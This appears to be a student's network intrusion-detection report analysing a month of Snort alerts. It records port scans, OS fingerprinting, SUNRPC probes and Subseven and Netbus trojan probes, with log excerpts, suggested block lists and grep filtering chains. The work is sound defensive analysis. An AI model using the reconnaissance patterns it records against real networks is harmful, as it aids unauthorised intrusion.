It looks like 159.226.185.4 and 210.125.174.11 performed a udp scan on MY.NET.97.199 on Sept 8th as well between 3:09 and 3:20pm. I wonder why? There are very few high port UDP services. The next step is to see what runs on .97.199; does it run a realaudio server?

```
Sep  8 15:09:35 159.226.185.4:41023 .> MY.NET.97.199:10242 UDP
Sep  8 15:09:35 159.226.185.4:41185 .> MY.NET.97.199:21992 UDP
Sep  8 15:09:35 159.226.185.4:41427 .> MY.NET.97.199:30790 UDP
Sep  8 15:09:36 159.226.185.4:41672 .> MY.NET.97.199:52979 UDP
Sep  8 15:09:36 159.226.185.4:41834 .> MY.NET.97.199:35681 UDP
```

The Null scans and NMAP TCP pings were spread out over the entire month. They didn't seem to be cnetered on one particular port.

A few machines were interested in MY.NET.211.2's SUNRPC port:

```
09/06-23:12:42.964292  [**] SUNRPC highport access! [**] 193.64.205.17:56880 .
09/06-23:13:15.921036  [**] SUNRPC highport access! [**] 193.64.205.17:56880 .
09/06-23:13:18.324468  [**] SUNRPC highport access! [**] 193.64.205.17:56880 .
09/07-21:10:18.892811  [**] SUNRPC highport access! [**] 207.29.195.22:2646 .>
09/11-21:24:53.037663  [**] SUNRPC highport access! [**] 209.10.41.242:21 .> M
09/11-21:24:53.037663  [**] SUNRPC highport access! [**] 209.10.41.242:21 .> M
```

193.64.205.17 sent multiple probes over 3 minutes, while the last two just sent a few. I'd be very interested to know if that machine actually runs SUNRPC. Unfortunately, looking for .211.2 yeilds the same information as the previous .211.2:32771 search. Time to talk to the owner.

On Sept 11th, 24.180.134.156 tried to NMAP fingerprint a bunch of the MY.NET.208.x machines (mostly by the telnet port). That probably means he/she is looking for Unix machines as the telnet port is rarely (ever?) available on WinXX or Mac.

A few other machines did NMAP Fingerprints, but not enough to worry about, IMHO.

As long as we're doing fingerprints, someone's still using Queso. The probed ports were mostly pop, smtp, auth gnutella and 6355 - what's that? The detects showed up between 9/3 and 9/14. If we were truly concerned about one or two machines and they're running Linux, it's possible to modify the kernel to lie about its OS by returning a different fingerprint. This is somewhat extreme, though.

195.57.243.171 tcp port scanned MY.NET.6.7 and MY.NET.60.8 on August 15th.

We'll need to check whether .6.5, .100.130 and .15.127 are running portmapper on 111. They all had actual attempts to run RPC calls. .98.160 and .98.111 should also have 32771 checked for the same reason.

The "TCP SMTP Source Port traffic" warning showed up a few times. I'd suggest that a stateful firewall might be the appropriate rememedy to that problem. Simply throw out anything with a source port of 25 and no ACK set if a stateless firewall is all that is available.

We had 12 "Tiny Fragments - Possible Hostile Activity" alerts. If our firewall can't automatically filter those, we should consider blacklisting the sending machines.

206.186.79.9 performed a TCP scan for nameservers through most of the address space between Sept. 9 at 10:30pm and Sept. 10th at 2:30am.

The detect rules might need to be tightened up; it appears that we may be logging DNS lookups and ntp synchronization (123/udp) to .1.3, .1.4, and .1.5:

```
Sep  3 09:03:36 MY.NET.1.4:53 .> MY.NET.15.208:1246 UDP
Sep  3 09:03:36 MY.NET.1.4:53 .> MY.NET.111.114:1772 UDP
Sep  3 09:03:34 MY.NET.1.3:53 .> MY.NET.162.198:4363 UDP
Sep  3 09:03:34 MY.NET.1.3:53 .> MY.NET.107.168:1737 UDP
Sep  3 09:03:34 MY.NET.1.3:53 .> MY.NET.111.18:1863 UDP
```

On the other hand, these detects did point out that people outside the network are using our DNS servers and NTP servers on those machines; is this allowed by the security policy?

I'll hazard a guess that the 70xx/udp to 70xx/udp packets are part of AFS shares from the MY.NET.1.13 AFS server, and ought to be allowed inside the network. Some of that traffic is getting in through the firewall, though, and this should get a followup:

```
Aug 17 02:31:53 24.3.39.44:7001 .> MY.NET.6.33:7003 UDP
Aug 17 02:31:54 24.3.39.44:7001 .> MY.NET.60.12:7003 UDP
Aug 17 02:31:54 24.3.39.44:7001 .> MY.NET.1.13:7003 UDP
Aug 17 03:31:55 24.3.39.44:7001 .> MY.NET.6.33:7003 UDP
```

207.19.142.78, 210.55.227.138 and 35.10.82.111 might be considered for a block list for their subseven scans:

```
Sep  5 16:20:18 207.19.142.78:1093 .> MY.NET.223.159:27374 SYN **S*****
Sep  5 16:20:18 207.19.142.78:1102 .> MY.NET.223.168:27374 SYN **S*****
Sep  5 16:20:19 207.19.142.78:1103 .> MY.NET.223.169:27374 SYN **S*****
...
```

MY.NET.97.248 should be thouroughly checked for that trojan as two people specifically targeted that machine for subseven and no others.

131.155.192.220 SYN scanned MY.NET.5.7 on Sept 5th. At the end, he/she seemed to focus on ftp port 21. Is that machine running an ftp server? A vulnerable ftp server?

Additional portscans:

- 128.171.57.194, many hosts, port 23
- 210.100.192.254, many hosts, port 21
- 129.186.93.133, many hosts, port 23
- 209.123.109.175, MY.NET.207.74 and MY.NET.219.118, many ports
- 213.25.136.60, many hosts, source and destination port 9704 - what's that
- 210.55.227.138, many hosts, 12346/tcp (Netbus/Gabanbus)
- 195.130.128.202, many hosts in MY.NET.5, port 21 (ftp)
- 62.136.41.111, many hosts in MY.NET.1, port 1243 (subseven)
- 216.99.200.242, MY.NET.97.216, MY.NET.97.209, and MY.NET.98.188, many por
- 151.196.73.119, MY.NET.253.112, many ports, special attention to ssh.
- 24.180.134.156, MY.net.208.x, many ports
- 210.61.144.125, many hosts, source and destination ports=21, SYN-FIN.
- 195.114.226.41, many hosts, destination port 21

I'm not sure what 7777/udp is for. That one needs some more research.

```
Sep  7 22:53:38 209.123.198.156:7777 .> MY.NET.204.126:2432 UDP
Sep  7 22:53:40 209.123.198.156:7777 .> MY.NET.204.126:2432 UDP
Sep  9 20:43:01 63.248.55.245:7777 .> MY.NET.204.166:1519 UDP
Sep  9 20:43:01 63.248.55.245:7777 .> MY.NET.213.10:3969 UDP
```

We have some hosts that should be checked for Subseven as they were singled out in subseven probes:

```
Sep  5 01:03:09 205.188.247.196:21 .> MY.NET.220.142:1243 UNKNOWN *1**R*** RES
Sep  6 22:13:47 24.12.112.239:4927 .> MY.NET.205.26:1243 SYN **S*****
Sep  9 17:33:19 147.208.171.139:1994 .> MY.NET.97.230:1243 SYN **S*****
Sep  4 16:27:38 130.234.185.71:6699 .> MY.NET.221.170:1243 NULL ********
Sep  4 16:27:45 130.234.185.71:6699 .> MY.NET.221.170:1243 NULL ********
Sep 11 04:49:45 24.180.134.156:1243 .> MY.NET.208.17:922 SYN **S*****
Sep 11 04:51:03 24.180.134.156:1243 .> MY.NET.208.33:1499 SYN **S*****
Sep 11 04:56:37 24.180.134.156:1243 .> MY.NET.208.66:468 SYN **S*****
Sep 11 05:09:12 24.180.134.156:1243 .> MY.NET.208.154:345 SYN **S*****
Sep 11 05:11:38 24.180.134.156:1243 .> MY.NET.208.173:271 SYN **S*****
Sep 11 05:13:09 24.180.134.156:1243 .> MY.NET.208.185:249 SYN **S*****
Sep 11 05:16:39 24.180.134.156:1243 .> MY.NET.208.221:402 SYN **S*****
Aug 17 13:55:01 147.208.171.139:4330 .> MY.NET.150.89:1243 SYN **S*****
Aug 17 13:55:10 147.208.171.139:4330 .> MY.NET.150.89:1243 SYN **S*****
Aug 17 13:55:48 147.208.171.139:4891 .> MY.NET.150.89:1243 SYN **S*****
Aug 17 16:37:03 147.208.171.139:3332 .> MY.NET.150.89:1243 SYN **S*****
Aug 17 16:38:00 147.208.171.139:3810 .> MY.NET.150.89:1243 SYN **S*****
Aug 16 18:38:44 210.56.17.202:2791 .> MY.NET.98.201:1243 SYN **S*****
```

```
Aug 16 18:38:47 210.56.17.202:2791 .> MY.NET.98.201:1243 SYN **S*****
Aug 16 18:38:53 203.130.2.59:3770 .> MY.NET.98.201:1243 SYN **S*****
Aug 16 18:39:00 203.130.2.59:3770 .> MY.NET.98.201:1243 SYN **S*****
Aug 16 22:30:26 216.138.44.49:4424 .> MY.NET.98.129:1243 SYN **S*****
Aug 18 01:14:48 168.120.26.87:3503 .> MY.NET.97.248:1243 SYN **S*****
Aug 28 00:35:56 203.176.29.202:1331 .> MY.NET.97.218:1243 SYN **S*****
Aug 28 00:35:59 203.176.29.202:1331 .> MY.NET.97.218:1243 SYN **S*****
Aug 28 00:44:29 203.176.29.202:1373 .> MY.NET.98.164:1243 SYN **S*****
Aug 28 00:44:32 203.176.29.202:1373 .> MY.NET.98.164:1243 SYN **S*****
Aug 28 00:44:37 203.176.29.202:1373 .> MY.NET.98.164:1243 SYN **S*****
Aug 28 15:39:03 198.62.155.104:41243 .> MY.NET.217.10:916 SYN **S*****
Sep  2 14:22:50 194.165.230.250:1243 .> MY.NET.12.170:21 SYN **S*****
Aug 15 00:49:10 195.114.226.41:1243 .> MY.NET.12.179:21 SYN **S*****
Aug 15 00:49:13 195.114.226.41:1243 .> MY.NET.12.179:21 SYN **S*****
Aug 15 01:05:12 195.114.226.41:1243 .> MY.NET.75.57:21 SYN **S*****
Aug 15 01:05:19 195.114.226.41:1243 .> MY.NET.75.57:21 SYN **S*****
Aug 15 02:18:04 195.114.226.41:1243 .> MY.NET.180.193:21 SYN **S*****
Aug 15 02:18:10 195.114.226.41:1243 .> MY.NET.180.193:21 SYN **S*****
Aug 15 02:25:35 195.114.226.41:1243 .> MY.NET.211.247:21 SYN **S*****
Aug 15 02:28:56 195.114.226.41:1243 .> MY.NET.227.149:21 SYN **S*****
Aug 15 02:28:59 195.114.226.41:1243 .> MY.NET.227.149:21 SYN **S*****
Aug 15 02:29:00 195.114.226.41:1243 .> MY.NET.227.149:21 SYN **S*****
```

It appears that MY.NET.101.192 is an snmp manageable device.
A number of machines on our network connected to it over the course of the month.

```
cat Snort* | grep 'MY.NET.*MY.NET.*:161' | less
09/02-07:54:01.499976  [**] SNMP public access [**] MY.NET.98.181:1051 .> MY.N
09/02-07:54:03.197017  [**] SNMP public access [**] MY.NET.98.181:1052 .> MY.N
09/02-07:54:08.590997  [**] SNMP public access [**] MY.NET.98.181:1055 .> MY.N
...
```

Assignment 4 - Analysis process

The volume of data was too much to handle with manually reading the files; some kind of automated process was needed to extract the information int oa viewable form from which patterns could be found.

I started with a entire display of the line data:

```
cat Snort* | less
```

Once I had found that there were a large number of lines with the IP address 130.149.41.70, I looked at those lines exclusively

to swee if I could find a pattern:

```
cat Snort* | grep 130.149.41.70 | less
```

Once I found the pattern and recorded it in the report, there's not reason to display those lines any more:

```
cat Snort* | grep -v 130.149.41.70 | less
```

Now I repeat by looking for another string that's repeated. I find that machines in 205.188.1 have a lot of entries:

```
cat Snort* | grep -v 130.149.41.70 | grep 205.188.1 | less
```

Once I'm done inspecting those lines, throw them away as well:

```
cat Snort* | grep -v 130.149.41.70 | grep -v 205.188.1 | less
```

With this approach, I can progressively filter out more and more of the data.

This is essentially making a human spreadsheet out of the analyst; the above work is rather labor intensive and tiring. Loading the detects into a real spreadsheet or database would probably be more appropriate.

Here's the filter at the point where the analyst ran out of Gusto for this approach:

```
cat Snort* | grep -v 130.149.41.70 | grep -v 205.188.1 |
grep -v 212.141.100.97 | grep -v 'MY.NET.101.192:161' | grep -v spp_portscan |
grep -v 'SYN-FIN' | grep -v IL-ISDNNET-990517 | grep -v NET-NCFC |
grep -v 'SMB Name Wildcard.*MY.NET.*MY.NET' | grep -v 'WinGate 1080 Attempt' |
grep -v 24.17.189.83 | grep -v MY.NET.97.199 | grep -v 'Null scan' |
grep -v 'NMAP TCP ping' | grep -v 'MY.NET.211.2:32771' |
grep -v 'NMAP fingerprint attempt' | grep -v 'Queso fingerprint' |
grep -v 195.57.243.171 | grep -v 'External RPC call' |
grep -v 'SUNRPC highport access' | grep -v 'TCP SMTP Source Port traffic' |
grep -v 'Tiny Fragments - Possible Hostile Activity' |
grep -v 'Sun RPC high port access' | grep -v '^*****$' | grep -v '^$' |
grep -v 'gzip call' | grep -v 'report renamed' | grep -v '^/usr/home/analyst'
grep -v '206.186.79.9' | grep -v 'MY.NET.1.[345]:53' | grep -v ':123 '|
grep -v '700[13] .*700[13]' | grep -v 'MY.NET.1.13:70[0-9][0-9]' |
grep -v ':27374' | grep -v '131.155.192.220' | grep -v '128.171.57.194' |
grep -v 210.100.192.254 | grep -v 129.186.93.133 | grep -v 209.123.109.175 |
grep -v ':7777' | grep -v '213.25.136.60' | grep -v '210.55.227.138' |
grep -v 195.130.128.202 | grep -v 62.136.41.111 | grep -v 1243 |
```

```
grep -v 216.99.200.242 | grep -v 151.196.73.119 | grep -v 24.180.134.156 |
grep -v 210.61.144.125 | grep -v 195.114.226.41 | less
```

The SOOS files were set aside as correlation data. That risks losing some information that might exist in those files but not in Snort*.